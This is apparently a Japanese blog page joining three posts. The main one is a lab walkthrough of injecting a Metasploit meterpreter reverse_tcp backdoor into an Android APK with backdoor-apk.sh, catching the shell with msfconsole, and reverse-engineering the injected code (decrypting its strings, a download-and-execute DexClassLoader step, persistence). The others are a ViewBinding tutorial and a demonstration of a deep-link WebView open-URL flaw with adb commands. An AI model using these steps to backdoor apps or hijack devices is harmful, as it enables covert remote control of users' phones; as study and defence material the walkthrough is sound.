BackDoorAPK解析してみた
BackDoorAPK解析してみた
ネットサーフィンをしていたら既存のAPKファイルにmaliciousなコードを挿入できるプログラムを見つけました。
そこで、実際にどのような動作をするのかと、どのようなコードが挿入されることで悪意ある動作を引き起こすのかを知りたくなったので実際に調査することにしました。
目次
注意事項
これから行うことは全てあくまで教育目的であり、悪意ある目的で行わないでください。
それによってどのような被害が発生しても私は責任を負いかねます。
筆者の環境
- Windows 11
- Kaliが動作しているサーバー
- Android 8.1(API27, Root化済み)
- Android Studio ArcticFox
- 使用言語 Kotlin
事前準備
実際にAPKにmaliciousなコードを挿入する前にやっておくことが複数あるので行います。
挿入するAPKの作成
実際に既に存在するAPKに対してmaliciousなコードを挿入しても良いのですが、今回は挿入した後にReversingを行いたいので実際に自分で専用のAPKを新規に作成した方が後々やりやすいでしょう。
そんなわけでさくっと最低限の処理だけを行うアプリを作成しました。
DI等のModuleは使用していますが、処理自体はHello World!
という文字列を表示するだけのAPKです。
今回、compileSdkやtargetSdkは以下のようにしました。
android { compileSdk 31 defaultConfig { applicationId "com.websarva.wings.android.backdoorapk" minSdk 16 targetSdk 30 versionCode 1 versionName "1.0" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } // ... }
続いてManifest
なのですが、私はここでとある記述が不足していたためにmaliciousなコードを挿入するプログラムが正常に動作しないという問題に陥ったので注意してください。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" package="com.websarva.wings.android.backdoorapk"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <!-- ... --> </manifest>
<uses-permission>
というタグは必ず記述するようにしてください。(追加する権限は何でもいいです)
調べた感じだと、このタグを認識することで挿入するコードに適した権限をここに自動で追記していくようなので...。
後はrelease
ビルドで署名してエクスポートすれば使用するAPKの準備は終了です。
malisiousなコードを挿入するプログラムのダウンロード
私の場合はリアルワールドに似せたかったので、実際にKaliサーバーを立ててこれ以降の操作を行いました。
既存のAPKにmaliciousなコードを挿入するプログラムがgithub上で公開されていたのでますはそのリポジトリをcloneします。
ここではURLは公開しなので、興味のある人はDana James Traversie
, backdoor-apk
, github
といった感じで検索して探してください。
必要ライブラリのインストール
どうやら必要なライブラリが複数あるようなので、必要に応じて以下のライブラリを適宜インストールしてください。
・lib32z1 (apt install) ・lib32ncurses6 (apt install) ・lib32stdc++6 (apt install) ・msfvenom (kaliならdefault) ・baksmali (apt install) ・unzip (apt install) ・keytool (apt install) ・jarsigner (apt install) ・apktool (https://ibotpeaches.github.io/Apktool/install/)
実践
ここからは実際に先ほど作成したAPKとダウンロードしたプログラムを使いmaliciousなコードを挿入してみましょう。
maliciousなコードをAPKに挿入する
このbackdoor-apk.sh
がmaliciousなコードを挿入するプログラム(以下、スクリプト)になります。
この際、挿入対象のAPKは必ず下記の画像の様にスクリプトと同じ階層に配置してください。
後は以下の様にスクリプトを実行するだけです。
root# ./backdoor-apk.sh BackDoorAPK.apk
途中に攻撃をListenするIPアドレスやポート、通信形式を聞かれるので任意に選択してください。
今回私はreverse_tcp
を選択してAndroidManifest.xml
に関しては自動で追記するように設定しました。
エミュレータの場合はhttp
やhttps
の方を選ぶのをお勧めします。
________ / ______ \ || _ _ || ||| || ||| AAAAAA PPPPPPP KKK KKK |||_||_||| AAA AAA PPP PPP KKK KKK || _ _o|| (o) AAA AAA PPP PPP KKKKKK ||| || ||| AAAAAAAA PPPPPPPP KKK KKK |||_||_||| AAA AAA PPP KKK KKK ||______|| AAA AAA PPP KKK KKK /__________\ ________|__________|__________________________________________ /____________\ |____________| Dana James Traversie [*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018 [+] Android payload options: 1) meterpreter/reverse_http 4) shell/reverse_http 2) meterpreter/reverse_https 5) shell/reverse_https 3) meterpreter/reverse_tcp 6) shell/reverse_tcp [?] Please select an Android payload option: 3 [?] Please enter an LHOST value: x.x.x.x [?] Please enter an LPORT value: xxx [+] Android manifest permission options: 1) Keep original 2) Merge with payload and shuffle [?] Please select an Android manifest permission option: 2 [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc [*] Decompiling original APK file...done. [*] Locating smali file to hook in original project...done. [+] Package where RAT smali files will be injected: com/websarva/wings/android/backdoorapk [+] Smali file to hook RAT payload: com/websarva/wings/android/backdoorapk/di/Application.smali [*] Generating RAT APK file...done. [*] Decompiling RAT APK file...done. [*] Merging permissions of original and payload projects...done. [*] Injecting helpful Java classes in RAT APK file...done. [*] Creating new directory in original package for RAT smali files...done. [+] Inject package path: com/websarva/wings/android/backdoorapk/ikokd [+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym [+] Generated new smali class name for MainService.smali: Aupyx [+] Generated new smali class name for Payload.smali: Nwiuc [+] Generated new smali class name for StringObfuscator.smali: Abnrw [+] Generated new smali method name for StringObfuscator.obfuscate method: icobf [+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik [*] Copying RAT smali files to new directories in original project...done. [*] Fixing RAT smali files...done. [*] Obfuscating const-string values in RAT smali files...done. [*] Adding hook in original smali file...done. [*] Adding persistence hook in original project...done. [*] Recompiling original project with backdoor...done. [*] Generating RSA key for signing...done. [*] Signing recompiled APK...done. [*] Verifying signed artifacts...done. [*] Aligning recompiled APK...done.
スクリプトがエラー無く、最後まで実行されると成功です。
maliciousなコードが挿入されたAPKはoriginal/dist
に作成され、metasploitと通信するためのスクリプトはbackdoor-apk.rc
というファイル名で作成されています。
動作確認
実際に端末にmaliciousなコードが挿入されたAPKをインストールして動作を確認してみます。
注意:セキュリティ的観点から動作検証が終わった後は、インストールしたAPKファイルを端末からアンインストールすることを強く推奨します。
metasploitをbackdoor-apk.rc
をオプションに指定して起動しましょう。
root# ./msfconsole -r backdoor-apk.rc
この状態になるとパケットが飛んでくるのを待つListen状態になります。
続いて端末にAPKをインストールして起動してみましょう。
表面上の処理は何も変わっていないように思えますね。
しかし実際はこの時点でmaliciousなコードが実行されています。
その証拠に先ほどのmetasploitの画面を見てみましょう。
metasploitの方にパケットが飛んできているのを確認できます。
後はsessionsコマンドを実行すればshellを取得できます。
msf6 exploit(multi/handler) > session 1 meterpreter >
実行できるコマンド集は以下のリンクで記載されているのでぜひ試してみてください。
備考:Android6.0
以降では権限の確認の仕様が変更となり、一部の権限はコード上に特殊な処理を記述しないとたとえAndroidmanifest
に権限を記述していても無効となるように変更されました。そのため、一部のコマンドは正常に動作しない可能性があります。
解析
先ほどまでは実際に実行して動作を確認したので、今度はどのようなコードが挿入されることでこのようなことが可能になっているのかをReversingすることで解明していきたいと思います。
考察
いきなり解析作業に入ってもいいのですが、その前に開発者的視点から少し考察してみます。
その方が処理を把握しやすいので。
- アプリがbackground状態になってもshellを取得できている。
- serviceが動いているのではないか。
- 端末をスリープモードにしてもshellが取れている。
- Wakelock系統の設定が行われている可能性がある。
これらのことを踏まえたうえで解析作業を行っていきましょう。
解析作業
ツールは基本的に以下の物を使用します。
・jadx-gui (https://github.com/skylot/jadx) ・Android Studio ・apkx (https://github.com/b-mueller/apkx)
まずjadx-gui
にはコメントを書く機能等は存在しないため、apkx
とAndroid Studio
を用いて適宜コメントを残してReversingがしやすいようにします。
$ apkx BackDoorAPK.apk
上記のコマンドを実行するとAPKがデコンパイルされて、新しくフォルダとして生成されるのでその中のsrc/packageName
をコピーしてAndroid Studio
のjava
ディレクトリ直下にペーストします。
私の環境では以下のようになります。
以降はここにコメント等を書いて処理を把握しやすくしましょう。
それではjadx-gui
に改ざんされたAPKをロードさせて本格的な解析作業に入ります。
まず、Manifest
を見てみます。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="com.websarva.wings.android.backdoorapk" platformBuildVersionCode="31" platformBuildVersionName="12"> <!-- ... --> <application android:theme="@style/Theme.BackDoorAPK" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:name="com.websarva.wings.android.backdoorapk.di.Application" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <!-- ... --> <receiver android:name="com.websarva.wings.android.backdoorapk.fxldo.Rthat"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name="com.websarva.wings.android.backdoorapk.fxldo.Tqnln" android:exported="true"/> </application> </manifest>
重要な部分だけを抜き出してみました。
やはり考察通りに<service>
タグでservice
クラスが挿入されていますね。
serviceクラスは以下のようなコードで成り立っています。
ちなみにですが、このTqnln
クラスのFindUsageを見てみるとstart
メソッドがdi.Application
で呼び出されていることが分かります。
備考ですが、追加されたmaliciousなクラス名は毎回(生成する度に)変わります。
di.Application
は私がAPK作成時にモジュールの関係で予め作成しておいたクラスです。
// ... @Metadata(d1 = {"\u0000\u0012\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0003\u001a\u00020\u0004H\u0016¨\u0006\u0005"}, d2 = {"Lcom/websarva/wings/android/backdoorapk/di/Application;", "Landroid/app/Application;", "()V", "onCreate", "", "app_release"}, k = 1, mv = {1, 6, 0}, xi = 48) @HiltAndroidApp /* compiled from: Application.kt */ public final class Application extends Hilt_Application { public Application() { Tqnln.start(); } @Override // com.websarva.wings.android.backdoorapk.di.Hilt_Application public void onCreate() { super.onCreate(); } }
コードを見るとApplication
クラスのコンストラクタでTqnln.start()
が呼び出されています。
つまりアプリを起動した時点でmaliciousな処理が走る原因はここということになります。
引き続きTqnln
クラスを見ていきます。
するとmethod
変数に代入されるforName
とgetMethod
の引数が暗号化されているように感じます。
Method method = Class.forName(Xfxbq.mppcg("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ")).getMethod(Xfxbq.mppcg("xPMCeRNBkNjD6UwLrz+BZVCdizq4OKBKpECFeYxAtKNKoQ=="), new Class[0]);
Xfxbq.mppcg
メソッドを見て処理を確認しましょう。
案の定、文字列がAES
で暗号化されていてmppcg
メソッドはそれを復号化するメソッドのようです。
カギに関する情報も全てハードコードされている様なので簡単に復号化できそうなので、複合化するプログラムをささっと作りました。
public class AESDecrypt { public static void main(String[] args) throws Exception { byte[] DECODED_KEY = Base64.getDecoder().decode("OYpcB+Vi8ha02y4OOrUUdA==".getBytes("UTF-8")); byte[] cipherText = Base64.getDecoder().decode("KsiaNR6uHI0eL36U5/2zrMKqjItijUXUh6T1lDOwr6eEw6JmpVI+TqBQ".getBytes("UTF-8")); Cipher cipher = Cipher.getInstance("AES/CTR/NoPadding"); SecretKeySpec secKeySpec = new SecretKeySpec(DECODED_KEY, "AES"); byte[] iv = new byte[16]; System.arraycopy(cipherText, 0, iv, 0, iv.length); IvParameterSpec ivParamSpec = new IvParameterSpec(iv); byte[] encryptedBytes = new byte[cipherText.length - iv.length]; System.arraycopy(cipherText, iv.length, encryptedBytes, 0, encryptedBytes.length); cipher.init(Cipher.DECRYPT_MODE, secKeySpec, ivParamSpec); System.out.println(new String(cipher.doFinal(encryptedBytes), "UTF-8")); } }
ちなみに今回はforName
の方がandroid.app.ActivityThread
でgetMethod
の方がcurrentApplication
でした。
そしてstartService
が呼び出されてサービスが開始されます。
serviceが開始されるとonStartCommand
が呼び出されます。
public int onStartCommand(Intent intent, int i, int i2) { Jqpjx.start(this); return 1; }
onStartCommnad
ではJqpjx.start
が呼び出されています。
start
メソッドでは同クラス内のメソッドであるstartInPath
メソッドがアプリの内部ストレージファイルのパスを引数にして呼び出されています。
private static final byte[] a = {4, 0, 0, 0, 0, 0, 0, ...} // ... private static Object[] h; // ... public static void startInPath(String str) { h = new Object[]{str, a}; new e().start(); }
そしてObject配列h
にパスとバイト配列が代入されてe().start
が呼び出されています。
e()
はThreadなのでrun()
メソッドが呼ばれていることと同義です。
run()
メソッドではJqpjx.main(null)
が呼び出されています。
a a2 = b.a(a); if (a2.d != null && !a2.d.isEmpty()) { if ((a2.a & 4) == 0 || b == null) { wakeLock = null; // ...
b.a
メソッドの引数には先ほどのObject配列h[1]
に代入されていたbyte配列a
が用いられて、その戻り値によってこの先の処理がかなり変化しそうなのでb.a
メソッドを詳しく見てみます。
かなり面倒くさそうなデータの復号化の様な処理が記述されていますね...。
ただこちらも、頑張って復号化プログラムを書けば問題なさそうな予感もするのでとりあえず書いてみました。
// ... public class decodeCipher { private static int a(byte[] bArr, int i) { int i2 = 0; for (int i3 = 0; i3 < 4; i3++){ i2 |= (bArr[i3 + i] & 255) << (i3 << 3); } return i2; } public static void main(String[] args) { byte[] bArr = new byte[]{4, 0, 0, 0, 0, ....}; a aVar = new a(); aVar.a = a(bArr, 0); aVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, 12)); b(bArr, 16, 16); b(bArr, 32, 16); int i = 48; if((aVar.a & 1) != 0){ aVar.c = a(bArr, 8000, 100); } while(bArr[i] != 0){ g gVar = new g(); gVar.a = a(bArr, i, 512); int i2 = i + 512 + 4; gVar.b = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i2)); int i3 = i2 + 4; gVar.c = TimeUnit.SECONDS.toMillis(1) * ((long) a(bArr, i3)); i = i3 + 4; if(gVar.a.startsWith("http")){ a(bArr, i, 128); int i4 = i + 128; a(bArr, i4, 64); int i5 = i4 + 64; a(bArr, i5, 64); int i6 = i5 + 64; gVar.d = a(bArr, i6, 256); int i7 = i6 + 256; gVar.e = null; byte[] b = b(bArr, i7, 20); int i8 = i7 + 20; int i9 = 0; while(true){ if(i9 >= b.length){ break; }else if(b[i9] != 0){ gVar.e = b; break; }else { i9++; } } StringBuilder sb = new StringBuilder(); int length = bArr.length; for(int i10 = i8; i10 < length; i10++){ byte b2 = bArr[i10]; if(b2 == 0){ break; } sb.append((char) (b2 & 255)); } String sb2 = sb.toString(); gVar.f = sb2; i = sb2.length() + i8; } aVar.d.add(gVar); } aVar.println(); g gVar = (g) aVar.d.get(0); gVar.println(); } private static String a(byte[] bArr, int i, int i2){ byte[] b = b(bArr, i, i2); try{ return new String(b, "ISO-8859-1").trim(); } catch(UnsupportedEncodingException e){ return new String(b).trim(); } } private static byte[] b(byte[] bArr, int i, int i2){ byte[] bArr2 = new byte[i2]; System.arraycopy(bArr, i, bArr2, 0, i2); return bArr2; } } final class a { int a; long b; String c; List d = new LinkedList(); void println(){ System.out.println("a.a: " + a); System.out.println("a.b: " + b); System.out.println("a.c: " + c); } } final class g { String a; long b; long c; String d; byte[] e; String f; void println(){ System.out.println("g.a: " + a); System.out.println("g.b: " + b); System.out.println("g.c: " + c); System.out.println("g.d: " + d); System.out.println("g.f: " + f); } }
maliciousなコードを挿入する際にreverse_tcp
を選択した場合はg.a変数にtcp://x.x.x.x:xxx
という形式で入力したIPアドレスとポートが表示されているのではないでしょうか。
元の処理(mainメソッド)に戻ると考察通りにWakelock
系の設定があるのが確認できます。
} else { PowerManager.WakeLock newWakeLock = ((PowerManager) b.getSystemService(Xfxbq.mppcg("qO31ImUyuA3BnYqJTTe/k/0prmUw"))).newWakeLock(1, Jqpjx.class.getSimpleName()); newWakeLock.acquire(); wakeLock = newWakeLock; }
暗号化された文字列はAESDecryptプログラムで復号化するとpower
になります。
また、getSystemService
, power
, newWakeLock
でドキュメントを調べて、定数1で調べるとPARTIAL_WAKE_LOCK
だとわかります。
PARTIAL_WAKE_LOCK
を設定することでユーザが電源ボタンを押して、端末がスリープモードになったとしてもアプリがバックグラウンドで動作し続けることが可能になります。
gVar = (g) a2.d.get(0); String str = gVar.a; // ... if (str.startsWith(Xfxbq.mppcg("KGsE4jDc7kzn3KfRSdl06H5Mcg=="))) { // tcp String[] split = str.split(Xfxbq.mppcg("pRDGnvj68J5dJhEPZRAtWJI=")); // : int parseInt = Integer.parseInt(split[2]); String str2 = split[1].split(Xfxbq.mppcg("7zi+5DRHYvHgeqUGG/8pyk8="))[2]; // / if (str2.equals(Xfxbq.mppcg("Rzq+IoCJz696k5yjqgV8ng=="))) { // blank(empty) ServerSocket serverSocket = new ServerSocket(parseInt); socket = serverSocket.accept(); serverSocket.close(); } else { socket = new Socket(str2, parseInt); } if (socket != null) { a(new DataInputStream(socket.getInputStream()), new DataOutputStream(socket.getOutputStream()), h); } }
a2
変数はb.a
メソッドの戻り値で、g.a
にはIPアドレスとポートが代入されていたことは今までの調査で判明しています。
そしてここでは、tcp://x.x.x.x.:xxx
という文字列からIPアドレスとポート番号を抽出してソケットを作成して通信を行っています。
ソケットが無事に作成された場合にはaメソッドが呼ばれます。
この際のa
メソッドの第3引数には前に出てきたObject配列h
が渡されます。
a
メソッドの処理を見ていきます。
String str = (String) objArr[0]; String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36); String str3 = str2 + Xfxbq.mppcg("oQKTcZFAQHkbvjzrBKsxz1izGU8="); // .jar String str4 = str2 + Xfxbq.mppcg("FuY2icS3rdPbkeFLeYMgrA/vdo4="); // .dex // ... byte[] a2 = a(dataInputStream); File file = new File(str3); if (!file.exists()) { file.createNewFile(); }
str
変数には内部ストレージのfiles
ディレクトリのパスが代入されます。
何か難しそうに書いてありますが、要するにpackageName/files/xxx.jar
ファイルを作成してるだけです。
String str5 = new String(a(dataInputStream)); byte[] a2 = a(dataInputStream); // ... FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(a2); fileOutputStream.flush(); fileOutputStream.close();
上記の部分で作成したファイルにソケット先から取得したdataを書き込んでいます。
Class loadClass = new DexClassLoader(str3, str, str, Jqpjx.class.getClassLoader()).loadClass(str5); Object newInstance = loadClass.newInstance(); file.delete(); new File(str4).delete(); loadClas.getMethod(Xfxbq.mppcg("x7Xdyof9qxGVe3rKABF35SRwVj05"), DataInputStream.class, OutputStream.class, Object[].class).invoke(newInstance, dataInputStream, outputStream, objArr);
その後に動的ClassLoader
を用いて外部からダウンロードしたjar
ファイルのクラス内のメソッドを実行しています。
つまり、ここで任意の処理を実行できる余地が発生します。
ちなみに今回は解説しませんが、httpやhttpsの際の処理もやってることはほとんど変わりません。(User-Agent等をRequestで送信するといった処理はありますが)
おわりに
今回実際にmaliciousなコードを挿入されたAPKの動作確認と解析を行ってみましたが、最近の端末だと多少被害を抑えられるかなという感じでした。
現状でもリモート経由で追加のアプリのインストールやアプリの起動、外部ストレージの書き込みと読み取りぐらいはRootがなくても出来るので、あまり安心はしない方が良いですが..。
解析に関しては、今回の挿入されたコード自体がかなり簡単だと思ったので初心者には結構おすすめなのではないかなと思いました。
また、暗号化された文字列等についても私は別途プログラムを作成して復号化しましたが、Frida等を使えばもう少し楽だったのではないか?と後になって気が付きました...。
この記事はIPFactory Advent Calendar 2021の12月23日分です。
IPFactoryというサークルについてはこちらをご覧ください.
昨日12月22日はfutabato先輩による「MBSD Cybersecurity Challenges 2021 参加記」でした。
明日12月24日もfutabato先輩による「Machine Learning for Web Vulnerability Detection: The Case of Cross-Site Request Forgery」です。
お楽しみに。
ViewBinding使ってみた
少し前にViewModelとDataBinding、LiveDataを使うことで画面の回転が行われても生成したテキストが消えなくなる処理を実装していたのですが、DataBindingよりもViewBindingの方が使いやすくて簡単だという記事を見つけたので実装方法を紹介しようと思いました。
目次
筆者の環境
PC:Windows10 エミュレータ API:27 IDE:AndroidStudio 4.2.2 使用言語:Kotlin version 1.5.2
サンプルアプリ
今回はViewModelとViewBinding、LiveDataを用いて以下の様なとても簡単なサンプルアプリを作成します。
アプリ起動時はただボタンがあるだけ。
ボタンを押すと、Hello_World!!
という文字列が画面に表示されるようになる。
勿論、画面を回転させてもHello_World!!
という文字列が消えることは無く(リセットされる)、もう一度ボタンをタップする必要もない。
ViewBindingの導入
まずプロジェクトの(:app)に以下のコードを追記して必要な機能を使えるようにします。
android { ・・・ buildFeatures { viewBinding true } ・・・ } dependencies { // 今回はViewModelとLiveDataも同時に使うのでここも追記 implementation 'androidx.lifecycle:lifecycle-livedata-ktx:2.3.1' implementation 'androidx.lifecycle:lifecycle-viewmodel-ktx:2.3.1' }
レイアウトファイル
レイアウトについては詳しく説明する必要もないと思うので。
<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" android:background="#dfe" tools:context=".MainActivity"> <TextView android:id="@+id/textView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:textSize="30sp" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintLeft_toLeftOf="parent" app:layout_constraintRight_toRightOf="parent" app:layout_constraintTop_toTopOf="parent" /> <Button android:id="@+id/button" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="表示する" android:layout_marginTop="20dp" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@+id/textView" /> </androidx.constraintlayout.widget.ConstraintLayout>
ViewModel
ViewModel はアクティビティやフラグメントに対するデータ置き場の役割を担います。
また、画面回転やウィンドウのサイズが変更されると、アクティビティやフラグメントインスタンスは再生成されますが、この ViewModel はインスタンスが保持されるという特徴を持っています。
class MyViewModel: ViewModel() { private val _hello = MutableLiveData<String>().apply { MutableLiveData<String>() } init { _hello.value = "" } fun setText(){ _hello.postValue("Hello_World!!") } fun hello(): MutableLiveData<String>{ return _hello } }
_hello
_hello
はViewModel内部のみで使えるprivateメンバで、後述するsetText()メソッド
やhello()メソッド
で使われます。
また、最初はinit
で空文字によって初期化されています。
setText()
見ての通り、Hello_World!!
という文字列をprivateなメンバである_helloメンバ
に代入しています。
セッターの様な役割を果たしていると思って構いません。
hello()
privateなメンバであるhello
の値を呼び出し元に返す処理です。
所謂、ゲッターです。
MainActivity
ここでようやく、今回のテーマであるViewBindingをふんだんに使っていきます。
class MainActivity : AppCompatActivity() { private val myViewModel: MyViewModel by lazy { ViewModelProvider(this).get(MyViewModel::class.java) } private lateinit var binding: ActivityMainBinding override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) binding = ActivityMainBinding.inflate(layoutInflater).apply { setContentView(this.root) } myViewModel.hello().observe(this, { binding.textView.text = myViewModel.hello().value }) binding.button.setOnClickListener { myViewModel.setText() } } }
myViewModel
ViewModelのインスタンスを取得している処理と思ってもらえれば大丈夫です。
onCreate以降ではこのインスタンスからViewModel内に定義したメソッドやメンバに対してアクセスできます。
binding
ここが今回のテーマであるViewBindingのメンバになるのですが、戻り値がActivityMainBinding
となっています。
今回はActivityでBindingを定義しているのでActivityMainBinding
ですが、もしこれがSubActivity
で定義される場合にはSubActivityBinding
という戻り値になるため注意が必要です。
またViewBindingを使うまでonCreateで記述されていたsetContentView(R.layout.activity_main)
という処理は不要になり、代わりに
binding = ActivityMainBinding.inflate(layoutInflater).apply {
setContentView(this.root)
}
という処理になります。
ViewBindingを用いると、今まで記述していたfindViewById
といった記述が不要になり、「binding.ViewのID名」になることが最大のメリットです!
observe
observe・・・つまり監視する処理です。
ViewModelで定義した_hello
メンバの値がsetText()
によって更新され、hello()
の戻り値が更新されるとその更新された値をレイアウトファイルで設定したTextViewに対してセットします。
まとめ
どうでしたか?
DataBindingと比べるとかなり容易に実装出来たのではないでしょうか?
実は更にMainActivityに記述する処理が減らすことができて、個人開発ならともかく複数人で開発しているアプリ等なら更に利便性が向上するライブラリもあったりするのですが、それはまた今度…。
参考・引用
Androidアプリのアクセス制御不備の脆弱性 In Kotlin
2021/6/25にLACの社内ブログより以下の記事が公開された。
この記事ではAndroidアプリの「アクセス制御不備」の中の「ディープリンクを使用してリクエストされた、任意のURLにアクセスしてしまう脆弱性」についてJavaで解説されています。
なので私はこの記事を参考にKotlin版を解説していこうと思います。
目次
ディープリンクとは
モバイルアプリにおけるディープリンクとは主に、あるウェブページから他のウェブサイトのトップページ以外の各コンテンツに直接ハイパーリンクを張ったり、他のアプリから特定のリンクを使うことで、アプリの特定コンテンツを呼び出すことが出来るリンクのことです。
筆者の環境
PC:Windows10 エミュレータ API:27 IDE:AndroidStudio4.2.1 使用言語:Kotlin version 1.5.2 Tool:adb(Android Debug Bridge)
脆弱性の実践
ここからは実際にコードを書いて脆弱なディープリンクの実装と実践を行います。
(※注意:これから実装するコードを用いたアプリを実機にインストールするのは危険ですので、必ずエミュレータ等の環境でお試しください。実機にインストールすることで何らかの不利益が生じたとしても筆者は一切の責任を負いかねます。)
今回実装する脆弱なコードの全文はこちらにあります。
Androidのディープリンクの実装
まず今回のサンプルアプリを起動すると、以下のような画像のアクティビティが起動します。
そしてアクティビティをもう一つ作りますが、そのアクティビティはディープリンクでのみ起動すると仮定して、MainActivityからの遷移は実装しません。
そしてAndroidManifest.xml
に下記のコードを記述することでディープリンクを実装できます。
<activity android:name=".WebViewActivity" > <intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:host="webview" android:scheme="daiki0508" /> </intent-filter> </activity>
webサイトからのアクティビティ起動
次に、アプリの起動手段のテストとして簡単にブラウザからアプリを起動させてみましょう。
(※adbの環境がある人はここは流し読みでも大丈夫です。)
ちなみに、HTMLコードは以下のような感じでOKです。
<!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8"> <title>VulnDeepLink</title> </head> <body> <h1>Hello World!!</h1> <p><a href="lacapp://webview/DeepLink">リンクはこちら!!</a></p> </body> </html>
後はこのコードをxampの様なツールでapacheを起動してlocalhostでアクセスしましょう。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)
そしてリンクはこちら!!
をクリックするとアプリが起動して以下のアクティビティが表示されるはずです。
adbを利用したアクティビティ起動
次に、adbを使用してアクティビティを起動してみます。
adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/DeepLink
成功すると、以下の様なアクティビティが起動すると思います。
アクセス制御不備の脆弱性の実装
今回のテーマである「ディープリンクを使用してリクエストされた、任意のURLにアクセスしてしまう脆弱性」は主に、WebViewと同時に実装されている場合に起こる可能性が高いです。
そして以下が脆弱性のある実装です。
class WebViewActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_web_view) val webView = findViewById<WebView>(R.id.webView) val uri = intent.data val query = uri?.getQueryParameter("data") webView.loadUrl(query!!) } }
この処理でやってることは簡単です。
1. WebViewActivity起動時にIntentを取得 2. その際にURL情報から「data」というクエリパラメータを取得 3. 2で受け取ったクエリパラメータをWebViewで表示
ブラウザからの正規なアクティビティ呼び出し
まずは、開発者が想定しているサイトをWebViewで表示させられるかをブラウザからアプリを起動してテストしましょう。
ちなみに、開発者が想定する表示サイトは「HatenaBlog」の公式サイトとしましょう。
(※adbの環境がある人はここは軽く読むだけで大丈夫です)
HTMLコードは以下のような感じでOKです。
<!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8"> <title>VulnDeepLink</title> </head> <body> <h1>Hello World!!</h1> <p><a href="daiki0508://webview/index?data=https://developer.android.com/?hl=ja">リンクはこちら!!</a></p> </body> </html>
実際にこのコードをxampの様なツールでapacheを起動してlocalhostでアクセスした後にリンクはこちら!!
をタップしてください。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)
ブラウザからの不正なアクティビティ呼び出し
続いて、以下の様なHTMLコードを記述してください。
(※adbの環境がある人はここは軽く読むだけで大丈夫です)
<!DOCTYPE html> <html lang="ja"> <head> <meta charset="utf-8"> <title>VulnDeepLink</title> </head> <body> <h1>Hello World!!</h1> <p><a href="daiki0508://webview/fake?data=https://github.com/daiki0508">リンクはこちら!!</a></p> </body> </html>
このコードもxampの様なツールでapacheを起動してlocalhostでアクセスした後にリンクはこちら!!
をタップしてみると、筆者のGithubが表示されたと思います。
(※ちなみにAndroidエミュレートの場合のlocalhostは10.0.2.2です)
つまり、第三者の任意のURLをWebViewで表示出来たということです。
adbを使用した正規のアクティビティ呼び出し
adbでのテストは簡単です。
adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/index?data=https://hatenablog.com/
成功すると、開発者の想定する「HatenaBlog」の公式サイトがWebViewで表示されたと思います。
adbを使用した不正のアクティビティ呼び出し
adb shell am start -a android.intent.action.VIEW -d daiki0508://webview/fake?data=https://github.com/daiki0508
開発者が想定してないサイトである筆者のGithubページがWebViewで表示されたと思います。
対策版の実装
それでは今度は先ほどの脆弱性を修正した処理を実装していきます。
(※MainActivityのレイアウトファイルや処理ファイルは脆弱性版と特に変わりません)
対策として最も簡単に実装できるのは「表示されるページを開発者が想定したものに限定する」ことです。
対策版の実装コードの全文はこちらにあります。
ホワイトリストの記述
まずstrings.xml
に許可するホストのリストを記載しておきます。
<resources> <string name="app_name">ResiDeepLink_Kotlin</string> <string-array name="allow_url_list"> <item>hatenablog.com</item> </string-array> </resources>
整合性チェックの実装
次に、取得したdataパラメータのスキーマとホストが開発者が指定したものと一致するかどうかを判断する処理を記述します。
